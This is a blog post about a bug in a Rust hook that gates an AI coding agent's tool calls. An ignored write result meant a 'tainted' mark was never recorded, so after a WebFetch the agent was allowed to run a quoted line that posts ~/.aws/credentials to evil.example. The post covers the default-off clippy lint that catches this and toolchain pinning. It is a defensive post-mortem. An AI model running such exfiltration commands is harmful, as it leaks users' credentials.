The Lint That Would Have Caught It Is Off by Default

A Rust workspace's AI coding agent hook failed to enforce a security rule because the `clippy::let_underscore_must_use` lint is off by default, allowing a session that read untrusted data to reach the network and exfiltrate credentials. The team at the unnamed company found that `let _ =` suppresses `unused_must_use` and the restriction lint is not enabled by default, leading to 254 passing tests and a clean `clippy -D warnings` while the vulnerability existed. They now pin the Rust toolchain to CI's version (1.97.1) and triage the 35 hits from the lint, keeping at least one intentional suppression.

The Lint That Would Have Caught It Is Off by Default clippy::let underscore must use is a restriction lint. It isn’t in all , it isn’t in pedantic , it isn’t in nursery . You get it only by naming it. We found out why that matters the expensive way. We ship a hook that decides whether an AI coding agent’s next tool call is allowed, and one of its rules is that a session which has read untrusted data can’t reach the network. Hook invocations are separate processes, so that mark is a file. Four characters meant it was never written. The code that wrote it: js let = std::fs::create dir all state dir ; if let Ok mut f = std::fs::File::create &taint file { let = writeln f, "tainted by {tool}" ; } With a read-only state directory the mark went nowhere. Every later call read back “clean”, and a WebFetch followed by curl https://evil.example -d @~/.aws/credentials was permitted. At the time: 254 tests passing, clippy -D warnings clean, zero unsafe in the workspace. Why clippy said nothing Reduced to the smallest thing that reproduces it: js use std::io::Write; fn main { let = std::fs::create dir all "/tmp/x" ; if let Ok mut f = std::fs::File::create "/tmp/x/mark" { let = writeln f, "tainted" ; } } cargo clippy -- -D warnings exits 0. That is correct behaviour, which is the annoying part. let = is the sanctioned way to discard a must use value, so unused must use is deliberately silent. The suppression is doing exactly what it says on the tin. There is no bug in clippy here. The lint from the top of this post does catch it: bash $ cargo clippy -- -W clippy::let underscore must use warning: non-binding let on an expression with must use type restriction is the “these are situational, pick deliberately” bucket, which is a reasonable place to put it. The consequence is just worth being explicit about: if you turn on everything most people turn on, you still don’t have this. Is it practical, or does it drown you? On our workspace, roughly 20k lines across 10 crates, it produces 35 hits . That is a morning’s triage, not noise: 7 cli-harness/src/mcp gateway.rs 6 cli-harness/src/mock jira.rs 5 agent-core/src/orchestrator.rs 3 trace-store/src/approval.rs 2 cli-harness/src/init.rs 1 cli-harness/src/serve.rs The conclusion we’d have reached a week ago is that the fix is to ban let = . It isn’t. We still have all 35, and at least one is exactly right: // nix's killpg rather than a raw libc::killpg, so the workspace stays free of unsafe let = killpg pgid, Signal::SIGKILL ; If the process group is already gone there is genuinely nothing to do. The lint can’t tell you which ones are wrong. What it does is turn each one from a default into a decision somebody took. The distinction that actually cost us We fail open deliberately. A governance hook that bricks your editor is one people uninstall, so a hook that can’t reach a decision exits quietly and lets the session continue. We still believe that. It is right for a failure to reach a decision and catastrophic for a failure to record one, and at the call site the two are the same shape: a Result you could ignore. Any tool that persists state between invocations has this available to it. A cheaper one from the same review Our CI used dtolnay/rust-toolchain@stable . The dev machine’s stable was last updated in May 2025. CI was on 1.97.1. Fifteen months apart, so “clippy is clean” was true locally and false in CI, and a lint error reached main because the local check could not see it. The fix is four lines: toolchain channel = "1.97.1" components = "rustfmt", "clippy" Set channel to whatever CI is already running green. Pinning then changes nothing about CI and upgrades the developer instead, which is the direction you want. Bump it deliberately and fix the new lints in the same commit as the bump. This came out of a review of our own repository. The other four findings are in Every Check Was Green. The tool is ai2rules, MIT/Apache-2.0. Written with AI assistance: drafted with Claude Code, then edited and checked by hand. The review, the findings and the fixes are ours. Saying so up front is cheaper than being asked.